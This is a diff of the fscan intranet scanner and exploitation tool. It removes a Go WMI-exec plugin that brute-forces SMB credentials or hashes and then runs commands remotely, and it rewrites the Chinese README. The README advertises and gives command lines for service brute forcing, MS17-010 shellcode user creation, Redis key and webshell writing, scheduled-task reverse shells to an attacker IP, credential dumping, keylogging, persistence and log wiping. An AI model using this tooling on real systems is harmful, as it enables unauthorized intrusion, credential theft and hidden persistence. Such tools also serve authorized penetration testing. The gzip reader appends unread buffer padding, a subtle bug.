func getRespBody(oResp *http.Response) ([]byte, error) {
|
||||
var body []byte
|
||||
if oResp.Header.Get("Content-Encoding") == "gzip" {
|
||||
gr, err := gzip.NewReader(oResp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer gr.Close()
|
||||
for {
|
||||
buf := make([]byte, 1024)
|
||||
n, err := gr.Read(buf)
|
||||
if err != nil && err != io.EOF {
|
||||
return nil, err
|
||||
}
|
||||
if n == 0 {
|
||||
break
|
||||
}
|
||||
body = append(body, buf...)
|
||||
}
|
||||
} else {
|
||||
raw, err := io.ReadAll(oResp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
body = raw
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
|
||||
func gettitle(body []byte) (title string) {
|
||||
re := regexp.MustCompile("(?ims)<title>(.*?)</title>")
|
||||
find := re.FindSubmatch(body)
|
||||
if len(find) > 1 {
|
||||
title = string(find[1])
|
||||
title = strings.TrimSpace(title)
|
||||
title = strings.Replace(title, "\n", "", -1)
|
||||
title = strings.Replace(title, "\r", "", -1)
|
||||
title = strings.Replace(title, " ", " ", -1)
|
||||
if len(title) > 100 {
|
||||
title = title[:100]
|
||||
}
|
||||
}
|
||||
if title == "" {
|
||||
title = "None"
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GetProtocol(host string, Timeout int64) (protocol string) {
|
||||
protocol = "http"
|
||||
//如果端口是80或443,跳过Protocol判断
|
||||
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
|
||||
return
|
||||
} else if strings.HasSuffix(host, ":443") {
|
||||
protocol = "https"
|
||||
return
|
||||
}
|
||||
|
||||
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
conn := tls.Client(socksconn, &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true})
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
common.LogError(err)
|
||||
}
|
||||
}()
|
||||
conn.Close()
|
||||
}
|
||||
}()
|
||||
conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
|
||||
err = conn.Handshake()
|
||||
if err == nil || strings.Contains(err.Error(), "handshake failure") {
|
||||
protocol = "https"
|
||||
}
|
||||
return protocol
|
||||
}
|
||||
@@ -1,117 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
|
||||
)
|
||||
|
||||
var ClientHost string
|
||||
var flag bool
|
||||
|
||||
func init() {
|
||||
if flag {
|
||||
return
|
||||
}
|
||||
clientHost, err := os.Hostname()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
ClientHost = clientHost
|
||||
flag = true
|
||||
}
|
||||
|
||||
func WmiExec(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["smb"] {
|
||||
PASS:
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := Wmiexec(info, user, pass, common.Hash)
|
||||
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
||||
errlog = strings.Replace(errlog, "\n", "", -1)
|
||||
common.LogError(errlog)
|
||||
if flag == true {
|
||||
var result string
|
||||
if common.Domain != "" {
|
||||
result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user)
|
||||
}
|
||||
if common.Hash != "" {
|
||||
result += "hash: " + common.Hash
|
||||
} else {
|
||||
result += pass
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
return err
|
||||
} else {
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if len(common.Hash) == 32 {
|
||||
break PASS
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
|
||||
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
wmiexec.Timeout = int(common.Timeout)
|
||||
return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil)
|
||||
}
|
||||
|
||||
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {
|
||||
if cfgIn == nil {
|
||||
cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil)
|
||||
if err1 != nil {
|
||||
err = err1
|
||||
return
|
||||
}
|
||||
cfgIn = &cfg
|
||||
}
|
||||
execer := wmiexec.NewExecer(cfgIn)
|
||||
err = execer.SetTargetBinding(binding)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
err = execer.Auth()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
flag = true
|
||||
|
||||
if command != "" {
|
||||
command = "C:\\Windows\\system32\\cmd.exe /c " + command
|
||||
if execer.TargetRPCPort == 0 {
|
||||
err = errors.New("RPC Port is 0, cannot connect")
|
||||
return
|
||||
}
|
||||
|
||||
err = execer.RPCConnect()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = execer.Exec(command)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -1,246 +1,292 @@
|
||||
# fscan
|
||||
[English][url-docen]
|
||||
# Fscan
|
||||
|
||||
# 1. 简介
|
||||
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
|
||||
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
|
||||
[English](README_EN.md)
|
||||
|
||||
# 2. 主要功能
|
||||
1.信息搜集:
|
||||
* 存活探测(icmp)
|
||||
* 端口扫描
|
||||
内网综合扫描工具,一键自动化漏扫。
|
||||
|
||||
2.爆破功能:
|
||||
* 各类服务爆破(ssh、smb、rdp等)
|
||||
* 数据库密码爆破(mysql、mssql、redis、psql、oracle等)
|
||||
**版本**: 2.2.1
|
||||
|
||||
3.系统信息、漏洞扫描:
|
||||
* netbios探测、域控识别
|
||||
* 获取目标网卡信息
|
||||
* 高危漏洞扫描(ms17010等)
|
||||
## 功能特性
|
||||
|
||||
4.Web探测功能:
|
||||
* webtitle探测
|
||||
* web指纹识别(常见cms、oa框架等)
|
||||
* web漏洞扫描(weblogic、st2等,支持xray的poc)
|
||||
### 扫描能力
|
||||
- **主机发现** - ICMP/Ping存活探测,支持大网段B/C段存活统计
|
||||
- **端口扫描** - TCP全连接扫描,内置133个常用端口,支持端口组(web/db/service/all)
|
||||
- **服务识别** - 智能协议识别,支持20+种服务指纹匹配
|
||||
- **Web探测** - 网站标题、CMS指纹、Web中间件、WAF/CDN识别(40+指纹)
|
||||
|
||||
5.漏洞利用:
|
||||
* redis写公钥或写计划任务
|
||||
* ssh命令执行
|
||||
* ms17017利用(植入shellcode),如添加用户等
|
||||
### 爆破能力
|
||||
- **弱密码爆破** - 28种服务爆破(SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis等)
|
||||
- **Hash碰撞** - 支持NTLM Hash认证(SMB/WMI)
|
||||
- **SSH密钥登录** - 支持私钥认证方式
|
||||
- **智能字典** - 内置100+常见弱密码,支持{user}变量替换
|
||||
|
||||
6.其他功能:
|
||||
* 文件保存
|
||||
### 漏洞检测
|
||||
- **高危漏洞** - MS17-010(永恒之蓝)、SMBGhost(CVE-2020-0796)
|
||||
- **未授权访问** - Redis/MongoDB/Memcached/Elasticsearch等未授权检测
|
||||
- **POC扫描** - 集成Web漏洞POC,支持Xray POC格式
|
||||
- **DNSLog** - 支持DNSLog外带检测
|
||||
|
||||
# 3. 使用说明
|
||||
简单用法
|
||||
```
|
||||
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
|
||||
fscan.exe -h 192.168.1.1/16 (B段扫描)
|
||||
### 漏洞利用
|
||||
- **Redis利用** - 写公钥、写计划任务、写WebShell、主从复制RCE
|
||||
- **MS17-010利用** - ShellCode注入,支持添加用户、执行命令
|
||||
- **SSH命令执行** - 认证成功后自动执行命令
|
||||
|
||||
### 本地模块
|
||||
- **信息收集** - 系统信息、环境变量、域控信息、网卡配置
|
||||
- **凭据获取** - 内存转储(MiniDump)、键盘记录、注册表导出
|
||||
- **权限维持** - Systemd服务、Windows服务、计划任务、启动项、LD_PRELOAD
|
||||
- **反弹Shell** - 正向Shell、反向Shell、SOCKS5代理服务
|
||||
- **杀软检测** - 识别目标主机安装的安全软件
|
||||
- **痕迹清理** - 日志清理工具
|
||||
|
||||
### 输入输出
|
||||
- **目标输入** - IP/CIDR/域名/URL,支持文件批量导入
|
||||
- **排除规则** - 支持排除特定主机、端口
|
||||
- **输出格式** - TXT/JSON/CSV多格式输出
|
||||
- **静默模式** - 无Banner、无进度条、无颜色输出
|
||||
|
||||
### 网络控制
|
||||
- **代理支持** - HTTP/SOCKS5代理,支持指定网卡
|
||||
- **发包控制** - 速率限制、最大发包数量控制
|
||||
- **超时控制** - 端口超时、Web超时、全局超时独立配置
|
||||
- **并发控制** - 端口扫描线程、服务扫描线程独立配置
|
||||
|
||||
### 扩展功能
|
||||
- **SDK嵌入** - `pkg/fscan`提供Go SDK,可嵌入Agent或安全平台,支持任务控制(Pause/Resume)、实时进度回调、TaskID追溯
|
||||
- **Web管理界面** - 可视化扫描任务管理(条件编译 -tags web)
|
||||
- **Lab靶场环境** - 内置Docker靶场用于测试学习
|
||||
- **插件化架构** - 服务插件/Web插件/本地插件分离,易于扩展
|
||||
- **多语言支持** - 中英文界面切换(-lang zh/en)
|
||||
- **性能统计** - JSON格式性能报告(-perf)
|
||||
|
||||
## v2.1.0 更新日志
|
||||
|
||||
> 本次更新包含 **262个提交**,涵盖30项新功能、120项修复、54项重构、14项性能优化、20项测试增强。
|
||||
|
||||
### 架构重构
|
||||
- **全局变量消除** - 迁移至Config/State对象,提升并发安全和可测试性
|
||||
- **SMB插件融合** - 整合smb/smb2/smbghost/smbinfo为统一插件,新增smb_protocol.go
|
||||
- **服务探测重构** - 实现Nmap风格fallback机制,优化端口指纹识别策略
|
||||
- **输出系统重构** - TXT实时刷盘+双写机制,解决结果丢失和乱序问题
|
||||
- **i18n框架升级** - 迁移至go-i18n,完整覆盖core/plugins/webscan模块
|
||||
- **HostInfo重构** - Ports字段从string改为int,类型安全
|
||||
- **函数复杂度优化** - clusterpoc(125→30)、EnhancedPortScan(111→20)
|
||||
- **代码审计** - 修复P0-P2级别问题,清理deadcode
|
||||
- **日志系统优化** - LogDebug调用清理(71→18),精简启动日志输出
|
||||
|
||||
### 性能优化
|
||||
- **正则预编译** - 全局正则表达式预编译,避免重复编译开销
|
||||
- **内存优化** - map[string]bool改为map[string]struct{}节省内存
|
||||
- **并发指纹匹配** - 多协程并行匹配,提升识别速度
|
||||
- **连接复用** - SOCKS5全局拨号器复用,避免重复握手
|
||||
- **滑动窗口调度** - 自适应线程池+流式迭代器,优化端口扫描
|
||||
- **CEL缓存优化** - POC扫描CEL环境缓存,减少重复初始化
|
||||
- **包级变量提取** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes等
|
||||
- **预分配容量** - 简化转换链、单次字符串替换
|
||||
- **并发安全优化** - 优化锁粒度和内存分配
|
||||
|
||||
### 新功能
|
||||
- **Web管理界面** - 可视化扫描任务管理,响应式布局和进度显示
|
||||
- **多格式POC适配** - 支持xray和afrog格式POC
|
||||
- **智能扫描模式** - 布隆过滤器去重+代理优化
|
||||
- **增强指纹库** - 集成FingerprintHub(3139条指纹)
|
||||
- **Favicon指纹识别** - 支持mmh3和MD5双格式hash匹配
|
||||
- **通用版本提取器** - 自动提取服务版本信息
|
||||
- **指纹优先级排序** - 智能排序匹配结果
|
||||
- **智能协议检测** - 自动识别HTTP/HTTPS协议类型
|
||||
- **网卡指定功能** - 支持VPN场景(-iface参数)
|
||||
- **排除主机文件** - 支持从文件读取排除主机(-ehf参数)
|
||||
- **ICMP令牌桶限速** - 防止高速扫描导致路由器崩溃
|
||||
- **端口扫描重试** - 失败自动重扫机制
|
||||
- **RDP真实认证** - 集成grdp库实现系统指纹识别
|
||||
- **SMB/FTP文件列表** - 匿名访问时自动列出文件
|
||||
- **302跳转双重识别** - 同时识别原始响应和跳转后响应指纹
|
||||
- **TXT输出URL汇总** - 末尾添加Web服务URL列表便于批量测试
|
||||
- **nmap核心集成** - 三大改进:探测策略/匹配引擎/版本解析
|
||||
- **插件选择性编译** - Build Tags系统,支持服务/本地/Web插件独立编译
|
||||
- **默认端口扩展** - 从62个扩展到133个常用端口
|
||||
- **全端口扫描支持** - 扩大端口范围限制
|
||||
- **HTTP重定向控制** - 可配置的重定向次数限制
|
||||
- **性能分析支持** - 添加pprof性能分析和benchmark测试
|
||||
- **TCP包统计** - 服务插件支持TCP包发送统计
|
||||
- **fscan-lab靶场** - 内网渗透训练平台,覆盖全部漏洞场景(未完成)
|
||||
- **Redis利用增强** - 移植完整Redis利用功能(写公钥/计划任务/WebShell/主从RCE)
|
||||
- **rsync插件重构** - 使用go-rsync库重构认证逻辑
|
||||
|
||||
### Bug修复(120项,列出关键修复)
|
||||
- **RDP空指针panic** - 修复证书解析导致的崩溃(#551)
|
||||
- **批量扫描漏报** - 修复大规模扫描遗漏问题(#304)
|
||||
- **JSON输出格式** - 修复输出格式错误(#446)
|
||||
- **Redis弱密码检测** - 修复检测遗漏问题(#447)
|
||||
- **结果实时保存** - 修复扫描结果未及时保存(#469)
|
||||
- **Nmap解析溢出** - 修复八进制转义解析bug(#478)
|
||||
- **指纹识别竞态** - 修复webtitle/webpoc竞态问题(#474)
|
||||
- **MySQL连接验证** - 改用information_schema库验证
|
||||
- **代理端口误判** - 修复代理模式下端口状态判断错误
|
||||
- **Context超时** - 修复22处插件超时未响应问题
|
||||
- **ICMP竞态条件** - 修复并发扫描竞争问题
|
||||
- **IPv6地址格式** - 修复4处地址格式化问题
|
||||
- **POC高并发卡死** - 修复Context未传播问题
|
||||
- **Ctrl+C结果丢失** - 添加信号处理确保结果写入
|
||||
- **SOCKS5全回显** - 添加代理连接验证
|
||||
- **服务探测泄漏** - 修复连接未正确关闭问题
|
||||
- **webtitle响应丢弃** - 修复部分响应数据被丢弃导致识别失败
|
||||
- **TXT漏洞信息缺失** - 修复输出遗漏漏洞详情
|
||||
- **JSON指纹缺失** - 统一SERVICE结果Target格式
|
||||
- **扫描耗时显示** - 修复完成耗时显示为0的问题
|
||||
- **虚假漏洞记录** - 重构TXT输出系统消除误报
|
||||
- **Redis跨平台路径** - 修复利用功能的路径和超时问题
|
||||
- **Windows编译警告** - 修复fscan-lite平台兼容性
|
||||
- **Go 1.20兼容** - 降级依赖保持兼容性
|
||||
|
||||
### 测试增强(20项)
|
||||
- **单元测试** - 核心模块覆盖率74-100%
|
||||
- **并发安全测试** - State对象、指纹匹配引擎专项测试
|
||||
- **集成测试** - Web扫描/端口扫描/服务探测/SSH认证/ICMP探测
|
||||
- **CLI参数测试** - 命令行参数解析验证
|
||||
- **性能基准测试** - AdaptivePool、服务探测策略benchmark
|
||||
- **ResultBuffer测试** - 去重和完整度评分验证
|
||||
|
||||
### 工程化改进
|
||||
- **CI流程优化** - golangci-lint v2升级,简化构建步骤
|
||||
- **Issue自动化** - GitHub Issue模板优化,Project自动化工作流
|
||||
- **Lint全量修复** - revive/errcheck/shadow/staticcheck/gosimple全部通过
|
||||
- **README重写** - 中英文文档全面更新
|
||||
- **代码格式统一** - gofmt/goimports规范化
|
||||
|
||||
## 快速开始
|
||||
|
||||
```bash
|
||||
# 扫描C段
|
||||
./fscan -h 192.168.1.1/24
|
||||
|
||||
# 指定端口
|
||||
./fscan -h 192.168.1.1 -p 22,80,443,3389
|
||||
|
||||
# 仅存活探测
|
||||
./fscan -h 192.168.1.1/24 -ao
|
||||
|
||||
# 禁用爆破
|
||||
./fscan -h 192.168.1.1/24 -nobr
|
||||
|
||||
# Web扫描
|
||||
./fscan -u http://192.168.1.1
|
||||
|
||||
# 本地插件
|
||||
./fscan -local systeminfo
|
||||
|
||||
# Hash碰撞
|
||||
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
|
||||
|
||||
# Redis写公钥
|
||||
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
|
||||
```
|
||||
|
||||
其他用法
|
||||
```
|
||||
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
|
||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
|
||||
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
|
||||
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
|
||||
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
|
||||
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
|
||||
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
|
||||
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
|
||||
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
|
||||
fscan.exe -hf ip.txt (以文件导入)
|
||||
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
|
||||
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
|
||||
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
|
||||
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
|
||||
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
|
||||
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)
|
||||
```
|
||||
编译命令
|
||||
```
|
||||
go build -ldflags="-s -w " -trimpath main.go
|
||||
upx -9 fscan.exe (可选,压缩体积)
|
||||
```
|
||||
arch用户安装
|
||||
`yay -S fscan-git 或者 paru -S fscan-git`
|
||||
## 编译
|
||||
|
||||
完整参数
|
||||
```
|
||||
-c string
|
||||
ssh命令执行
|
||||
-cookie string
|
||||
设置cookie
|
||||
-debug int
|
||||
多久没响应,就打印当前进度(default 60)
|
||||
-domain string
|
||||
smb爆破模块时,设置域名
|
||||
-h string
|
||||
目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
||||
-hf string
|
||||
读取文件中的目标
|
||||
-hn string
|
||||
扫描时,要跳过的ip: -hn 192.168.1.1/24
|
||||
-m string
|
||||
设置扫描模式: -m ssh (default "all")
|
||||
-no
|
||||
扫描结果不保存到文件中
|
||||
-nobr
|
||||
跳过sql、ftp、ssh等的密码爆破
|
||||
-nopoc
|
||||
跳过web poc扫描
|
||||
-np
|
||||
跳过存活探测
|
||||
-num int
|
||||
web poc 发包速率 (default 20)
|
||||
-o string
|
||||
扫描结果保存到哪 (default "result.txt")
|
||||
-p string
|
||||
设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
|
||||
-pa string
|
||||
新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
|
||||
-path string
|
||||
fcgi、smb romote file path
|
||||
-ping
|
||||
使用ping代替icmp进行存活探测
|
||||
-pn string
|
||||
扫描时要跳过的端口,as: -pn 445
|
||||
-pocname string
|
||||
指定web poc的模糊名字, -pocname weblogic
|
||||
-proxy string
|
||||
设置代理, -proxy http://127.0.0.1:8080
|
||||
-user string
|
||||
指定爆破时的用户名
|
||||
-userf string
|
||||
指定爆破时的用户名文件
|
||||
-pwd string
|
||||
指定爆破时的密码
|
||||
-pwdf string
|
||||
指定爆破时的密码文件
|
||||
-rf string
|
||||
指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
|
||||
-rs string
|
||||
redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
|
||||
-silent
|
||||
静默扫描,适合cs扫描时不回显
|
||||
-sshkey string
|
||||
ssh连接时,指定ssh私钥
|
||||
-t int
|
||||
扫描线程 (default 600)
|
||||
-time int
|
||||
端口扫描超时时间 (default 3)
|
||||
-u string
|
||||
指定Url扫描
|
||||
-uf string
|
||||
指定Url文件扫描
|
||||
-wt int
|
||||
web访问超时时间 (default 5)
|
||||
-pocpath string
|
||||
指定poc路径
|
||||
-usera string
|
||||
在原有用户字典基础上,新增新用户
|
||||
-pwda string
|
||||
在原有密码字典基础上,增加新密码
|
||||
-socks5
|
||||
指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080)
|
||||
-sc
|
||||
指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
|
||||
```bash
|
||||
# 标准编译
|
||||
go build -ldflags="-s -w" -trimpath -o fscan .
|
||||
|
||||
# 带Web管理界面
|
||||
go build -tags web -ldflags="-s -w" -trimpath -o fscan-web .
|
||||
```
|
||||
|
||||
# 4. 运行截图
|
||||
## 安装
|
||||
|
||||
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
|
||||
```bash
|
||||
# Arch Linux
|
||||
yay -S fscan-git
|
||||
```
|
||||
|
||||
## 运行截图
|
||||
|
||||
`fscan.exe -h 192.168.x.x`
|
||||

|
||||
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)`
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis写公钥)
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (追加多个密码)
|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)`
|
||||
`fscan.exe -h 192.168.x.x -socks5 socks5://user:[email protected]:1080` (SOCKS5认证代理)
|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
|
||||

|
||||
|
||||
`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`
|
||||

|
||||
|
||||
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
|
||||
`fscan.exe -h 192.0.0.0/8 -m icmp`
|
||||

|
||||
|
||||
# 5. 免责声明
|
||||

|
||||
|
||||
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
|
||||

|
||||
|
||||
为避免被恶意使用,本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。
|
||||
## 路线图
|
||||
|
||||
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。**
|
||||
### 更新计划
|
||||
- **更新周期** - 每月一次版本发布
|
||||
- **前两周** - 新功能开发与特性更新
|
||||
- **后两周** - Bug修复与代码整合
|
||||
- **欢迎PR** - 期待您的贡献!
|
||||
|
||||
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
|
||||
### SDK & Agent 集成
|
||||
- 扩展SDK能力,完善端侧Agent嵌入支持
|
||||
- 断点续扫、带宽级限速、内存水位控制
|
||||
- 更多Agent场景的集成示例
|
||||
|
||||
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
|
||||
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
|
||||
### 插件生态
|
||||
- 持续扩展服务插件覆盖范围
|
||||
- 为每个服务插件开发更多漏洞检测和利用能力
|
||||
- 保持插件API向后兼容,确保旧版本POC持续可用
|
||||
|
||||
### Fscan-lite
|
||||
- C语言重写的轻量版本
|
||||
- 更小的体积,更少的依赖
|
||||
- 支持更多嵌入式/受限环境
|
||||
- 目录: [fscan-lite](./fscan-lite)
|
||||
|
||||
### Fscan-lab
|
||||
- 内网渗透测试靶场环境
|
||||
- 覆盖所有fscan支持的漏洞场景
|
||||
- 开发测试与功能验证平台
|
||||
- 新手学习与技能练习环境
|
||||
- 目录: [fscan-lab](./fscan-lab)
|
||||
|
||||
## 免责声明
|
||||
|
||||
本工具仅面向**合法授权**的企业安全建设行为。使用前请确保已获得授权,符合当地法律法规,**不对非授权目标扫描**。作者不承担任何非法使用产生的后果。
|
||||
|
||||
## 404StarLink
|
||||
|
||||
# 6. 404StarLink 2.0 - Galaxy
|
||||

|
||||
|
||||
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
|
||||
fscan 是 [404Team 星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 成员项目。
|
||||
|
||||
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
||||
## Star趋势
|
||||
|
||||
|
||||
# 7. Star Chart
|
||||
[](https://starchart.cc/shadow1ng/fscan)
|
||||
|
||||
# 8. 捐赠
|
||||
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
|
||||
## 捐赠
|
||||
|
||||
# 9. 参考链接
|
||||
https://github.com/Adminisme/ServerScan
|
||||
https://github.com/netxfly/x-crack
|
||||
https://github.com/hack2fun/Gscan
|
||||
https://github.com/k8gege/LadonGo
|
||||
https://github.com/jjf012/gopoc
|
||||
[请作者喝饮料](image/sponsor.png)
|
||||
|
||||
## 参考
|
||||
|
||||
# 10. 最近更新
|
||||
[+] 2023/11/13 加入控制台颜色输出(可-nocolor)、保存文件json结构(-json)、修改tls最低版本为1.0、端口分组(-p db,web,service)。
|
||||
[+] 2022/11/19 加入hash碰撞、wmiexec无回显命令执行。
|
||||
[+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式。
|
||||
[+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。
|
||||
[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。
|
||||
新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。
|
||||
[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程。
|
||||
[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito
|
||||
[+] 2022/1/11 新增oracle密码爆破。
|
||||
[+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量。
|
||||
[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)。
|
||||
[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞。
|
||||
[+] 2021/6/18 改善一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍。
|
||||
[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接。
|
||||
[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码。
|
||||
